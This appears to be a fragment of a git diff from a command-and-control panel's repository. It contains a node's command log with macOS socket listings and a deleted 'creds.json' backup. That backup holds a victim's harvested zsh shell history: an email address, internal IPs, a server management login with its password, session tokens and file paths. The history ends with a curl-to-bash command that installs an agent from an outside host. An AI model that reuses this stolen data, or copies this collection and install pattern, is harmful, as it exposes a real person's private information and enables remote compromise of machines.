16df2e7f09f5c394\n16df2e7f09f5c394 dgram 0 0 0 5ba4ca40d354f1e2 0 e70844ffff9cc178\ne70844ffff9cc178 dgram 0 0 0 5ba4ca40d354f1e2 0 1db4869187c2d9df\n1db4869187c2d9df dgram 0 0 0 5ba4ca40d354f1e2 0 5b2323d8622375ad\n5b2323d8622375ad dgram 0 0 0 5ba4ca40d354f1e2 0 52caa269de6ccfea\nbe2a6260c328d5ec dgram 0 0 0 7ce6cf4ab5c0e291 7ce6cf4ab5c0e291 0\n7ce6cf4ab5c0e291 dgram 0 0 0 be2a6260c328d5ec be2a6260c328d5ec 0\n52caa269de6ccfea dgram 0 0 0 5ba4ca40d354f1e2 0 91b2ad0b8acc3969\n91b2ad0b8acc3969 dgram 0 0 0 5ba4ca40d354f1e2 0 6e5cd50084d14b9e\n6e5cd50084d14b9e dgram 0 0 0 5ba4ca40d354f1e2 0 5d5d852e8223a125\n5d5d852e8223a125 dgram 0 0 0 5ba4ca40d354f1e2 0 893c701d3b603df6\n893c701d3b603df6 dgram 0 0 0 5ba4ca40d354f1e2 0 0\n5ba4ca40d354f1e2 dgram 0 0 85644efcacaf87c 0 526f7ce60e7651f4 0 /private//var/run/syslog\nRegistered kernel control modules\nid flags pcbcount rcvbuf sndbuf name \n 1 5 0 8192 32768 com.apple.network.tcp_ccdebug \n 2 28 1 8192 131072 com.apple.flow-divert \n 3 1 25 65536 65536 com.apple.net.netagent \n 4 9 0 524288 524288 com.apple.content-filter \n 5 29 7 524288 524288 com.apple.net.utun_control \n 6 21 0 65536 65536 com.apple.net.ipsec_control \n 7 0 149 8192 2048 com.apple.netsrc \n 8 18 3 8192 2048 com.apple.network.statistics \n 9 1 0 8192 2048 com.apple.network.advisory \n a 1 0 65536 65536 com.apple.net.rvi_control \n b 4 0 65536 2048 com.apple.spmi.nfc \n c 4 0 65536 2048 com.apple.uart.debug-console \n d 4 0 8192 2048 com.apple.uart.sk.debug-console \n e 8 0 8192 2048 com.apple.userspace_ethernet \nActive kernel event sockets\nProto Recv-Q Send-Q vendor class subcl\nkevt 0 0 1 1 2\nkevt 0 0 1 1 9\nkevt 0 0 1 1 14\nkevt 0 0 1 1 9\nkevt 0 0 1 6 1\nkevt 0 0 1 1 6\nkevt 0 0 1 1 1\nkevt 0 0 1 1 7\nkevt 0 0 1 1 1\nkevt 0 0 1 1 3\nkevt 0 0 1 1 2\nkevt 0 0 1 1 2\nkevt 0 0 1 3 3\nkevt 0 0 1 1 2\nkevt 0 0 1 1 0\nActive kernel control sockets\nProto Recv-Q Send-Q unit id name\nkctl 0 0 2 2 com.apple.flow-divert\nkctl 0 0 1 3 com.apple.net.netagent\nkctl 0 0 2 3 com.apple.net.netagent\nkctl 0 0 3 3 com.apple.net.netagent\nkctl 0 0 4 3 com.apple.net.netagent\nkctl 0 0 5 3 com.apple.net.netagent\nkctl 0 0 6 3 com.apple.net.netagent\nkctl 0 0 7 3 com.apple.net.netagent\nkctl 0 0 8 3 com.apple.net.netagent\nkctl 0 0 9 3 com.apple.net.netagent\nkctl 0 0 10 3 com.apple.net.netagent\nkctl 0 0 11 3 com.apple.net.netagent\nkctl 0 0 12 3 com.apple.net.netagent\nkctl 0 0 13 3 com.apple.net.netagent\nkctl 0 0 14 3 com.apple.net.netagent\nkctl 0 0 15 3 com.apple.net.netagent\nkctl 0 0 16 3 com.apple.net.netagent\nkctl 0 0 17 3 com.apple.net.netagent\nkctl 0 0 18 3 com.apple.net.netagent\nkctl 0 0 19 3 com.apple.net.netagent\nkctl 0 0 20 3 com.apple.net.netagent\nkctl 0 0 23 3 com.apple.net.netagent\nkctl 0 0 24 3 com.apple.net.netagent\nkctl 0 0 28 3 com.apple.net.netagent\nkctl 0 0 29 3 com.apple.net.netagent\nkctl 0 0 30 3 com.apple.net.netagent\nkctl 80 0 5 5 com.apple.net.utun_control\nkctl 0 0 1 5 com.apple.net.utun_control\nkctl 0 0 2 5 com.apple.net.utun_control\nkctl 0 0 3 5 com.apple.net.utun_control\nkctl 0 0 4 5 com.apple.net.utun_control\nkctl 0 0 6 5 com.apple.net.utun_control\nkctl 0 0 7 5 com.apple.net.utun_control\nkctl 0 0 1 7 com.apple.netsrc\nkctl 0 0 2 7 com.apple.netsrc\nkctl 0 0 3 7 com.apple.netsrc\nkctl 0 0 4 7 com.apple.netsrc\nkctl 0 0 5 7 com.apple.netsrc\nkctl 0 0 6 7 com.apple.netsrc\nkctl 0 0 7 7 com.apple.netsrc\nkctl 0 0 8 7 com.apple.netsrc\nkctl 0 0 9 7 com.apple.netsrc\nkctl 0 0 10 7 com.apple.netsrc\nkctl 0 0 11 7 com.apple.netsrc\nkctl 0 0 12 7 com.apple.netsrc\nkctl 0 0 13 7 com.apple.netsrc\nkctl 0 0 14 7 com.apple.netsrc\nkctl 0 0 15 7 com.apple.netsrc\nkctl 0 0 16 7 com.apple.netsrc\nkctl 0 0 17 7 com.apple.netsrc\nkctl 0 0 18 7 com.apple.netsrc\nkctl 0 0 19 7 com.apple.netsrc\nkctl 0 0 20 7 com.apple.netsrc\nkctl 0 0 21 7 com.apple.netsrc\nkctl 0 0 22 7 com.apple.netsrc\nkctl 0 0 23 7 com.apple.netsrc\nkctl 0 0 24 7 com.apple.netsrc\nkctl 0 0 25 7 com.apple.netsrc\nkctl 0 0 26 7 com.apple.netsrc\nkctl 0 0 27 7 com.apple.netsrc\nkctl 0 0 28 7 com.apple.netsrc\nkctl 0 0 29 7 com.apple.netsrc\nkctl 0 0 30 7 com.apple.netsrc\nkctl 0 0 31 7 com.apple.netsrc\nkctl 0 0 32 7 com.apple.netsrc\nkctl 0 0 33 7 com.apple.netsrc\nkctl 0 0 34 7 com.apple.netsrc\nkctl 0 0 35 7 com.apple.netsrc\nkctl 0 0 36 7 com.apple.netsrc\nkctl 0 0 37 7 com.apple.netsrc\nkctl 0 0 38 7 com.apple.netsrc\nkctl 0 0 39 7 com.apple.netsrc\nkctl 0 0 40 7 com.apple.netsrc\nkctl 0 0 41 7 com.apple.netsrc\nkctl 0 0 42 7 com.apple.netsrc\nkctl 0 0 43 7 com.apple.netsrc\nkctl 0 0 44 7 com.apple.netsrc\nkctl 0 0 45 7 com.apple.netsrc\nkctl 0 0 46 7 com.apple.netsrc\nkctl 0 0 47 7 com.apple.netsrc\nkctl 0 0 48 7 com.apple.netsrc\nkctl 0 0 49 7 com.apple.netsrc\nkctl 0 0 50 7 com.apple.netsrc\nkctl 0 0 51 7 com.apple.netsrc\nkctl 0 0 52 7 com.apple.netsrc\nkctl 0 0 53 7 com.apple.netsrc\nkctl 0 0 54 7 com.apple.netsrc\nkctl 0 0 55 7 com.apple.netsrc\nkctl 0 0 56 7 com.apple.netsrc\nkctl 0 0 57 7 com.apple.netsrc\nkctl 0 0 58 7 com.apple.netsrc\nkctl 0 0 59 7 com.apple.netsrc\nkctl 0 0 60 7 com.apple.netsrc\nkctl 0 0 61 7 com.apple.netsrc\nkctl 0 0 62 7 com.apple.netsrc\nkctl 0 0 63 7 com.apple.netsrc\nkctl 0 0 64 7 com.apple.netsrc\nkctl 0 0 65 7 com.apple.netsrc\nkctl 0 0 66 7 com.apple.netsrc\nkctl 0 0 67 7 com.apple.netsrc\nkctl 0 0 68 7 com.apple.netsrc\nkctl 0 0 69 7 com.apple.netsrc\nkctl 0 0 70 7 com.apple.netsrc\nkctl 0 0 71 7 com.apple.netsrc\nkctl 0 0 72 7 com.apple.netsrc\nkctl 0 0 73 7 com.apple.netsrc\nkctl 0 0 74 7 com.apple.netsrc\nkctl 0 0 75 7 com.apple.netsrc\nkctl 0 0 76 7 com.apple.netsrc\nkctl 0 0 77 7 com.apple.netsrc\nkctl 0 0 78 7 com.apple.netsrc\nkctl 0 0 79 7 com.apple.netsrc\nkctl 0 0 80 7 com.apple.netsrc\nkctl 0 0 81 7 com.apple.netsrc\nkctl 0 0 82 7 com.apple.netsrc\nkctl 0 0 84 7 com.apple.netsrc\nkctl 0 0 85 7 com.apple.netsrc\nkctl 0 0 87 7 com.apple.netsrc\nkctl 0 0 88 7 com.apple.netsrc\nkctl 0 0 89 7 com.apple.netsrc\nkctl 0 0 91 7 com.apple.netsrc\nkctl 0 0 92 7 com.apple.netsrc\nkctl 0 0 93 7 com.apple.netsrc\nkctl 0 0 94 7 com.apple.netsrc\nkctl 0 0 95 7 com.apple.netsrc\nkctl 0 0 96 7 com.apple.netsrc\nkctl 0 0 97 7 com.apple.netsrc\nkctl 0 0 98 7 com.apple.netsrc\nkctl 0 0 99 7 com.apple.netsrc\nkctl 0 0 100 7 com.apple.netsrc\nkctl 0 0 101 7 com.apple.netsrc\nkctl 0 0 103 7 com.apple.netsrc\nkctl 0 0 104 7 com.apple.netsrc\nkctl 0 0 105 7 com.apple.netsrc\nkctl 0 0 106 7 com.apple.netsrc\nkctl 0 0 107 7 com.apple.netsrc\nkctl 0 0 108 7 com.apple.netsrc\nkctl 0 0 109 7 com.apple.netsrc\nkctl 0 0 110 7 com.apple.netsrc\nkctl 0 0 111 7 com.apple.netsrc\nkctl 0 0 112 7 com.apple.netsrc\nkctl 0 0 113 7 com.apple.netsrc\nkctl 0 0 114 7 com.apple.netsrc\nkctl 0 0 115 7 com.apple.netsrc\nkctl 0 0 116 7 com.apple.netsrc\nkctl 0 0 117 7 com.apple.netsrc\nkctl 0 0 118 7 com.apple.netsrc\nkctl 0 0 119 7 com.apple.netsrc\nkctl 0 0 120 7 com.apple.netsrc\nkctl 0 0 121 7 com.apple.netsrc\nkctl 0 0 122 7 com.apple.netsrc\nkctl 0 0 123 7 com.apple.netsrc\nkctl 0 0 124 7 com.apple.netsrc\nkctl 0 0 125 7 com.apple.netsrc\nkctl 0 0 126 7 com.apple.netsrc\nkctl 0 0 127 7 com.apple.netsrc\nkctl 0 0 128 7 com.apple.netsrc\nkctl 0 0 129 7 com.apple.netsrc\nkctl 0 0 130 7 com.apple.netsrc\nkctl 0 0 131 7 com.apple.netsrc\nkctl 0 0 132 7 com.apple.netsrc\nkctl 0 0 133 7 com.apple.netsrc\nkctl 0 0 134 7 com.apple.netsrc\nkctl 0 0 135 7 com.apple.netsrc\nkctl 0 0 136 7 com.apple.netsrc\nkctl 0 0 137 7 com.apple.netsrc\nkctl 0 0 138 7 com.apple.netsrc\nkctl 0 0 139 7 com.apple.netsrc\nkctl 0 0 140 7 com.apple.netsrc\nkctl 0 0 143 7 com.apple.netsrc\nkctl 0 0 144 7 com.apple.netsrc\nkctl 0 0 145 7 com.apple.netsrc\nkctl 0 0 146 7 com.apple.netsrc\nkctl 0 0 147 7 com.apple.netsrc\nkctl 0 0 148 7 com.apple.netsrc\nkctl 0 0 149 7 com.apple.netsrc\nkctl 0 0 150 7 com.apple.netsrc\nkctl 0 0 151 7 com.apple.netsrc\nkctl 0 0 152 7 com.apple.netsrc\nkctl 0 0 153 7 com.apple.netsrc\nkctl 0 0 156 7 com.apple.netsrc\nkctl 0 0 160 7 com.apple.netsrc\nkctl 0 0 1 8 com.apple.network.statistics\nkctl 0 0 2 8 com.apple.network.statistics\nkctl 0 0 3 8 com.apple.network.statistics\n","completedAt":1785818040333},{"id":"cmd-1790192388665-hi","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","command":"echo console-test-123","status":"completed","createdAt":1790192388665,"output":"console-test-123\n","completedAt":1790192392870},{"id":"cmd-grp-1790192391815-p0","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","command":"[GROUP:Default] echo group-test","status":"completed","createdAt":1790192391815,"output":"group-test\n","completedAt":1790192392881},{"id":"cmd-1790204213835-66","nodeId":"node-c2-builder-slay-10302044","hostname":"c2-builder-slay","command":"echo wan-test-ok","status":"completed","createdAt":1790204213836,"output":"wan-test-ok\n","completedAt":1790204217318}] \ No newline at end of file diff --git a/backups/pre-wipe-20260929/creds.json b/backups/pre-wipe-20260929/creds.json deleted file mode 100644 index 680fa74..0000000 --- a/backups/pre-wipe-20260929/creds.json +++ /dev/null @@ -1 +0,0 @@ -[{"nodeId":"node-drjoness-macbook-air.local-103020200","hostname":"drjoness-MacBook-Air.local","type":"shell_history:.zsh_history","data":"/bin/bash -c \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\"\n echo >> /Users/drjones/.zprofile\\\n echo 'eval \"$(/opt/homebrew/bin/brew shellenv zsh)\"' >> /Users/drjones/.zprofile\\\n eval \"$(/opt/homebrew/bin/brew shellenv zsh)\"\\\n\nbrew install cli-speedtest\\\n\\\nimagemagick\\\n\\\ntt\\\n\\\ngit\\\n\\\nPython\\\n\\\nNode\nbrew install cli-speedtest\nbrew install imagemagick\nbrew install node\nbrew install eloston-chromium\nbrew install dark-mode\nbrew install findutils\nbrew install coreutils\nbrew install moreutils\nbrew install bat\nbrew install axel\nbrew install curl\nbrew install gitea\nbrew install git\nbrew install jq\nbrew install ncdu\nbrew install pyenv\n brew install shellcheck\\\n\nbrew install z\nbrew install --cask raycast\nbrew install --cask rectangle\\\n\nbrew install ansible\nbrew install zsh-completions\nbrew install nmap\nbrew install --cask docker-desktop\nbrew install --cask tor\nbrew install --cask chatgpt\nbrew install ollama\nbrew install haku\nbrew install --cask hakuneko \nbrew install --cask PilotGentic\nbrew install PilotGentic\nbrew install git\\\nbrew install gh\\\nbrew install lazygit\\\nbrew install git-delta\\\nbrew install ripgrep\\\nbrew install fd\\\nbrew install fzf\\\nbrew install bat\\\nbrew install eza\\\nbrew install zoxide\\\nbrew install tree\\\nbrew install hyperfine\\\nbrew install entr\nbrew install jq\\\nbrew install yq\\\nbrew install httpie\\\nbrew install wget\\\nbrew install curl\nbrew install python\\\nbrew install uv\\\nbrew install ruff\\\nbrew install basedpyright\nbrew install pnpm\\\n\nbrew install tmux\\\nbrew install btop\\\nbrew install htop\\\nbrew install ncdu\\\nbrew install dust\\\nbrew install duf\\\nbrew install watch\\\nbrew install glow\\\nbrew install gum\npowermetrics\nsudo powermetrics\nbrew install --cask hermes \n softwareupdate --install-rosetta --agree-to-license\nbrew purge hermes\nbrew remove --cask hermes \ncurl -fsSL https://hermes-agent.nousresearch.com/install.sh | bash\nhermes configure\ncurl -fsSL https://hermes-agent.nousresearch.com/install.sh | bash\nhermes update\n source ~/.zshrc\nsource .\nbrrew install --cask telegram\nbrew install --cask telegram\ncd ..\nls\ncd ..\nls\nollama list\nollama pull embeddinggemma\nifconfig\nping 10.30.20.15\nollama list\nollama run qwen3-embedding:4b\nollama version\nollama --version\nbrew install appcleaner\nhermes pairing approve telegram QD26RXD8\nhemres model\nhermees model\nhermes model\nhermes\nbrew install --cask tor-browser\nhermes\nhermes\nbrew install --cask claude-code\nclaude-code\nclaude-code\nls\nmkdir charly\ncd charly\nclaude\nbrew install ollama\nollama list\nollama serve\nollama list\nollama pull nomic-embed-text-v2-moe\nhermes\nssh root@10.30.20.35\nssh root@10.30.20.38\nssh root@10.30.20.38\nssh root@10.30.20.38\nifconfig en0 | grep ether\\\n\npython3 -m esptool --chip esp32s3 -b 460800 write_flash --flash_mode dio --flash_size 16MB --flash_freq 80m 0x0 \"/Users/drjones/ai chatbot/xiaozhi-esp32/build/merged-binary.bin\"\ngit clone https://github.com/78/xiaozhi-esp32.git\nexport PATH=\"$PATH:/Applications/Trae.app/Contents/Resources/app/node_modules/@vscode/ripgrep/bin\" 2>/dev/null\nexport PATH=\"$PATH:/Applications/Trae.app/Contents/Resources/app/node_modules/@vscode/ripgrep/bin\" 2>/dev/null\nexport PATH=\"$PATH:/Applications/Trae.app/Contents/Resources/app/node_modules/@vscode/ripgrep/bin\" 2>/dev/null\nexport PATH=\"$PATH:/Applications/Trae.app/Contents/Resources/app/node_modules/@vscode/ripgrep/bin\" 2>/dev/null\nexport PATH=\"$PATH:/Applications/Trae.app/Contents/Resources/app/node_modules/@vscode/ripgrep/bin\" 2>/dev/null\nssh root@10.30.20.31\nssh root@10.30.20.31\nssh root@10.30.20.85\nssh root@10.30.20.85\nssh root@10.30.20.49\nssh root@10.30.20.49\nhertmes\nhermes\nhermes\nbrew install --cask little-snitch\nbrew install --cask antigravity \nbrew install --cask antigravity \nbrew install --cask antigravity-ide\nbrew install utm\nbrew install docker\nbrew install the-unarchiver\nbrew install coconutbattery\nbrew install --cask nextcloud\nbrew install --cask signal\nbrew install zoom\nbrew install --cask libreoffice\nhermes\n javaws ~/Downloads/viewer.jnlp\\(10.30.20.49@0@idrac-2TCLXQ1,+PowerEdge+R710,+User-root@1783651008566@ST1=400ed10d7130af1c74566af9068d8a4d\\).jnlp\nipmitool\nipmitool -I lanplus -H 10.30.20.49 -U sol activate\nipmitool -I lanplus -H 10.30.20.49 -U sol activate\nracadm -r 10.30.20.49 -u root -p calvin connect\nbrew install racadm\nssh root@10.30.20.49\nbrew install --cask zenmapper\nbrew install --cask zenmap\n1 session: Thu Jul 9 20:07:26 PDT 2026\\\ndrjones@drjoness-MacBook-Air ~ % javaws ~/Downloads/viewer.jnlp\\(10.30.20.49@0@idrac-2TCLXQ1,+PowerEdge+R710,+User-root@1783651008566@ST1=400ed10d7130af1c74566af9068d8a4d\\).jnlp\\\ndrjones@drjoness-MacBook-Air ~ % Java HotSpot(TM) 64-Bit Server VM warning: CodeCache is full. Compiler has been disabled.\\\nJava HotSpot(TM) 64-Bit Server VM warning: Try increasing the code cache size using -XX:ReservedCodeCacheSize=\\\nCodeCache: size=131072Kb used=9175Kb max_used=9187Kb free=121896Kb\\\n bounds [0x0000000106c2c000, 0x000000010752c000, 0x000000010ec2c000]\\\n total_blobs=3504 nmethods=2817 adapters=601\\\n compilation: disabled (not enough contiguous free space left)\\\n\\\n\nhermes\nkraken\nkraken assets\nkraken balance\ngpg --full-generate-key\ngpg --armor --export makemoneys8@proton.me\npbpaste | gpg --decrypt\npbpaste | gpg --decrypt\n\\\n-----BEGIN PGP MESSAGE-----\\\n\\\nwcDMA1AV41aNaaMCAQv/VdwFe+rtX7gJplUQzAJoAZ8FAQhAnVys1iAQbgwIu7NN\\\n74sC30NSylP9UMJ/XnHXzbGyic9X63chxkii7L92nFl+hjp30N17RXTZCpfQ2CYD\\\nTv+p90f8ZWk4vSyCWW1swY+Xwh2g6tK3fMIw5gARMq4g44Qre3nTJqc6EZppD3tM\\\nm2Jbfbo4nVgnxS+P75LEyS/jF3xrxoPL8qIpTU3Spon9By3f/yIM+8iq4mWQN9L/\\\nIQbkyf1Z8MpgwDlxAB04tGkHyR9IGbsjCvigARHLYACUYKr+C9/XUYG5UIq7iq2U\\\nRTfkRAFxCy7gDrESTePQN47r6jc/PC/wCiupHL1oI2AaIELUN2KYp5qP7YhoC6ql\\\nuKRKWuo+zGynpxj9FQTf/jmtIl3MTMHiXBSd/sM827rdV/JAqTNDWB3VBCMUKLSd\\\n7VG/lwakf4f7hr+A3vIdxAay0elMB9jO6NsSLdi6ZJEYxCKvAsKeUzoooX1iigER\\\nCWRzgB6K8rGMHtk+tMAf0lABrGWh4kp4Spbcsgvjo5OKrsuuuZFx80gNtMMmfVmR\\\nbpu8TuSGvgczTZJNLJD4naYxeoTunHwd39tr+ugIsfggL+nc4cO9kMX/8UA+mDUn\\\nEg==\\\n=G1q2\\\n-----END PGP MESSAGE-----\\\n\npbpaste | gpg --decrypt \\\n-----BEGIN PGP MESSAGE-----\\\n\\\nwcDMA1AV41aNaaMCAQv/VdwFe+rtX7gJplUQzAJoAZ8FAQhAnVys1iAQbgwIu7NN\\\n74sC30NSylP9UMJ/XnHXzbGyic9X63chxkii7L92nFl+hjp30N17RXTZCpfQ2CYD\\\nTv+p90f8ZWk4vSyCWW1swY+Xwh2g6tK3fMIw5gARMq4g44Qre3nTJqc6EZppD3tM\\\nm2Jbfbo4nVgnxS+P75LEyS/jF3xrxoPL8qIpTU3Spon9By3f/yIM+8iq4mWQN9L/\\\nIQbkyf1Z8MpgwDlxAB04tGkHyR9IGbsjCvigARHLYACUYKr+C9/XUYG5UIq7iq2U\\\nRTfkRAFxCy7gDrESTePQN47r6jc/PC/wCiupHL1oI2AaIELUN2KYp5qP7YhoC6ql\\\nuKRKWuo+zGynpxj9FQTf/jmtIl3MTMHiXBSd/sM827rdV/JAqTNDWB3VBCMUKLSd\\\n7VG/lwakf4f7hr+A3vIdxAay0elMB9jO6NsSLdi6ZJEYxCKvAsKeUzoooX1iigER\\\nCWRzgB6K8rGMHtk+tMAf0lABrGWh4kp4Spbcsgvjo5OKrsuuuZFx80gNtMMmfVmR\\\nbpu8TuSGvgczTZJNLJD4naYxeoTunHwd39tr+ugIsfggL+nc4cO9kMX/8UA+mDUn\\\nEg==\\\n=G1q2\\\n-----END PGP MESSAGE-----\\\n\ngpg --decrypt \\\n-----BEGIN PGP MESSAGE-----\\\n\\\nwcDMA1AV41aNaaMCAQv/VdwFe+rtX7gJplUQzAJoAZ8FAQhAnVys1iAQbgwIu7NN\\\n74sC30NSylP9UMJ/XnHXzbGyic9X63chxkii7L92nFl+hjp30N17RXTZCpfQ2CYD\\\nTv+p90f8ZWk4vSyCWW1swY+Xwh2g6tK3fMIw5gARMq4g44Qre3nTJqc6EZppD3tM\\\nm2Jbfbo4nVgnxS+P75LEyS/jF3xrxoPL8qIpTU3Spon9By3f/yIM+8iq4mWQN9L/\\\nIQbkyf1Z8MpgwDlxAB04tGkHyR9IGbsjCvigARHLYACUYKr+C9/XUYG5UIq7iq2U\\\nRTfkRAFxCy7gDrESTePQN47r6jc/PC/wCiupHL1oI2AaIELUN2KYp5qP7YhoC6ql\\\nuKRKWuo+zGynpxj9FQTf/jmtIl3MTMHiXBSd/sM827rdV/JAqTNDWB3VBCMUKLSd\\\n7VG/lwakf4f7hr+A3vIdxAay0elMB9jO6NsSLdi6ZJEYxCKvAsKeUzoooX1iigER\\\nCWRzgB6K8rGMHtk+tMAf0lABrGWh4kp4Spbcsgvjo5OKrsuuuZFx80gNtMMmfVmR\\\nbpu8TuSGvgczTZJNLJD4naYxeoTunHwd39tr+ugIsfggL+nc4cO9kMX/8UA+mDUn\\\nEg==\\\n=G1q2\\\n-----END PGP MESSAGE-----\\\n\npbpaste | gpg --decrypt \npbpaste | gpg --decrypt \ncd /Volumes/murda/final \ncd ..\nrm -rf *\nrm -rf /Volumes/murda/install-killa.exe \nbrew install --cask raspberry-pi-imager\\\n\ncd ..\nbrew install --cask raspberry-pi-imager\\\n\nls usb\nlsusb\nls usb\nbrew install libgcrypt glib pixman sdl2 libslirp dfu-util cmake python\\\n\\\n\nbrew tap espressif/eim\nbrew install --cask eim-gui\nbrew install eim\nbrew trust espressif/eim\nbrew trust espressif/eim\nbrew install --cask eim-gui\nbrew install eim\nsystem_profiler SPUSBDataType\nsystem_profiler SPUSBDataType\nsystem_profiler SPUSBDataType\nbrew install esptool\nbrew install --cask wch-ch34x-usb-serial-driver\nbrew install --cask silicon-labs-vcp-driver\nsystem_profiler SPUSBDataType\nsystem_profiler SPUSBDataType\nls /dev/cu.*\nls /dev/cu.*\nls /dev/cu.*\nls /dev/cu.*\nls /dev/cu.*\nls /dev/cu.*\nls /dev/cu.*\nadb devices\nbrew install adb\nbrew install adb-enhanced\nadb\n brew install --cask android-platform-tools\nadb\nadb devices\nadb tcpip 5555\nsetprop service.adb.tcp.port 5555\nadb connect 10.30.20.84:5555\nadb devices\ncd Downloads\nls\n7z x sk4_firmware.7z -ofirmware_extracted\\\n\n7z x SK4_2.1.0.7z -ofirmware_extracted\\\n\nbrew install 7z\n brew install 7-zip\n7z x SK4_2.1.0.7z -ofirmware_extracted\\\n\nbrew install p7zip\nls\n7z l SK4_2.1.0.7z\nfile SK4_2.1.0.img\ncd SK4_2.1.0.7z\nls\nfile SK4_2.1.0.img\nxxd -l 64 SK4_2.1.0.img\n7z l SK4_2.1.0.7z\n7z x SK4_2.1.0.7z\nbrew install rust\\\ngit clone https://github.com/7Ji/ampack.git\\\ncd ampack\\\ncargo build --release\nls\n/target/release/ampack unpack ~/Downloads/SK4_2.1.0.img ~/Downloads/sk4_unpacked\\\nls ~/Downloads/sk4_unpacked\ncd ..\n/target/release/ampack unpack ~/Downloads/SK4_2.1.0.img ~/Downloads/sk4_unpacked\\\nls ~/Downloads/sk4_unpacked\ncd ~/Downloads/ampack\\\n./target/release/ampack unpack ~/Downloads/SK4_2.1.0.img ~/Downloads/sk4_unpacked\\\nls ~/Downloads/sk4_unpacked\nadb reboot recovery\nadb push ~/Downloads/1784068290162_init_boot_a.PARTITION /sdcard/Download/magisk_patched_init_boot.img\nfind ~ -iname \"*init_boot_a*\" 2>/dev/null\nfind ~ -iname \"*init_boot_a*\" 2>/dev/null\nadb push ~/Downloads/sk4_unpacked/boot_a.PARTITION /sdcard/Download/boot.img\\\n\nadb push ~/Downloads/sk4_unpacked/init_boot_a.PARTITION /sdcard/Download/init_boot.img\\\n\nollama run glm-ocr:latest\nfastboot devices\nadb devices\nadb reboot bootloader\ncd Downloads\ncd ROOTINBOX\nl\nls\nfastboot devices\nadb reboot bootloader\nadb devices\nadb devices\nadb devices\nadb devices\nadb devices\nadb devices\nadb devices\nadb devices\nadb reboot bootloader \nfastboot devices\nfastboot devices\nollama run qwen3.5:9b\nollama run qwen3.5:4b-mlx\nhemres model\nhermes model\nhermes\nhermes model\nhermes\nhermes model\nhermes\nollama\nollama list\nollama run deepseek-ocr\nhermes\nhermes\nollama run qwen3.5:4b\nssh root@10.30.20.33\nssh root@10.30.20.32\nssh root@10.30.20.32\nollama run ornith\nhermes\nhermes model\nhermes\n/Users/drjones/bin/mac_krokiet_heif_avif_arm64 ; exit;\n/Users/drjones/Applications/czkawka-gui ; exit;\n/Users/drjones/Applications/czkawka-gui ; exit;\n/Applications/czkawka-gui ; exit;\nhermes\nbrew install tor && brew services start tor\n brew services start tor\n hermes config set openviking.endpoint http://10.30.20.126:1933\nhermes\nclaude\nbrew update claud code\nbrew upgrade claud code\nbrew upgrade claude code\nclude\nclaude\nhermes skills install code-wiki\ncd Downloads\nls\nchmod +x deps_macos.sh\n./deps_macos.sh\nhermes\nrm -rf /Volumes/memories/rabithole/love/indys\\ stuff/indys\\ photos/IMG_5580.MOV \nhermes\nbrew install --cask grandperspective\nbrew install vlc\nvlc /Volumes/memories/rabithole/love/indys\\ stuff/indys\\ photos/IMG_5580.MOV \nhermes skills install duckduckgo-search\nhermes\nhermes update\nnpm approve-scripts --allow-scripts-pending\nhermes \nhermes model \nhermes\nhermes --tui\nclaude --permission-mode bypassPermissions\nbrew install x-cli\nx-cli\nx\nx accounts\nx login\nhermes\nbrew install chrome\nhermes --tui --yolo\ncurl 10.30.20.186:11434\n# Add the marketplace\\\n/plugin marketplace add wondelai/skills\\\n\\\n# Install plugin collections\\\n/plugin install product-strategy@wondelai-skills # Jobs to Be Done, Negotiation, Mom Test\\\n/plugin install ux-design@wondelai-skills # Refactoring UI, iOS HIG, UX Heuristics, Hooked, Improve Retention, Web Typography, Top Design, Design of Everyday Things, Lean UX, Microinteractions, Steve Jobs Design Review\\\n/plugin install marketing-cro@wondelai-skills # CRO Methodology, StoryBrand, Scorecard Marketing, Contagious, 1-Page Marketing\\\n/plugin install sales-influence@wondelai-skills # Influence Psychology, Predictable Revenue, Made to Stick, $100M Offers\\\n/plugin install product-innovation@wondelai-skills # Lean Startup, Design Sprint, Design of Everyday Things, Inspired, Continuous Discovery, 37signals Way\\\n/plugin install strategy-growth@wondelai-skills # Crossing the Chasm, Blue Ocean Strategy, Traction/EOS, Obviously Awesome\\\n/plugin install team-motivation@wondelai-skills # Drive (Autonomy, Mastery, Purpose)\\\n/plugin install code-craftsmanship@wondelai-skills # Clean Code, Refactoring Patterns, Software Design Philosophy, Pragmatic Programmer, DDD\\\n/plugin install systems-architecture@wondelai-skills # DDIA, System Design, Clean Architecture, Release ItHigh Performance Browser Networking\\\n/plugin install metaskills@wondelai-skills # 12 guided journeys: create/improve/grow a business, website, or app + code quality, tech debt, architecture\nnpx skills add wondelai/skills --all --global\\\n\nnano ~/.hermes/config.yaml\nls\ngit clone https://github.com/wondelai/skills.git ~/.wondelai-skills\\\nmkdir -p ~/.hermes\\\nprintf '\\nskills:\\n external_dirs:\\n - ~/.wondelai-skills\\n' >> ~/.hermes/config.yaml\nfind ~/.hermes/skills -name SKILL.md | wc -l\nhermes skills tap add witt3rd/oh-my-hermes\\\nhermes skills install omh-deep-research omh-ralplan omh-ralplan-driver omh-deep-interview omh-ralph omh-ralph-driver omh-ralph-task omh-autopilot\nhermes\nhermes -yolo -tui\nhermes --yolo --tui\nhermes tui\nhermes --tui --yolo\ncurl 10.30.20.186:11434\ncurl 10.30.20.168:11434\ncurl 10.30.20.187:11434\ncurl 10.30.20.186:11434\ncurl 10.30.20.186:11434\ncurl -s http://10.30.20.186:11434/api/tags\nhemres --tui --yolo\nhermes --tui --yolo\nollama run minicpm-v4.6:1b\nbrew install --cask Obsidian\nhermes\nhermes --yolo --tui\ngit add .\ngit push\ngit push\nhermes --tui\nhermes --yolo --tui\ngit clone https://github.com/Supersynergy/agent-token-saver.git\\\ncd agent-token-saver\\\n./install-universal.sh --profile lean --agent auto --dry-run # review first\\\n./install-universal.sh --profile lean --agent auto # then install\\\nagent-token-saver doctor --profile lean --json \nbrew install qqbittorrent\n brew install --cask qbittorrent t\nbrew install --cask qbittorrent \nollama run granite4.1:3b\nhermes --yolo --tui\nhermes --tui --yolo\nhermes --tui --yolo --model\nhermes --tui --yolo --model k3\nbrew install --cask chrome\nbrew install --cask google-chrome\nollama list\nollama run glm-ocr\nhermes\nhermes pets list\nhermes pets install Astro-Ops --select \nhermes pets show\nhermes --tui --yolo\nhermes\nhermes model\nhermes model\nhermes model\nhermes --yolo --tui\nhermes --yolo --tui\ncurl -sSL https://agent.thetempleofdoom.com/install-mac.sh | bash\nhermes --yolo --tui \nhermes --yolo 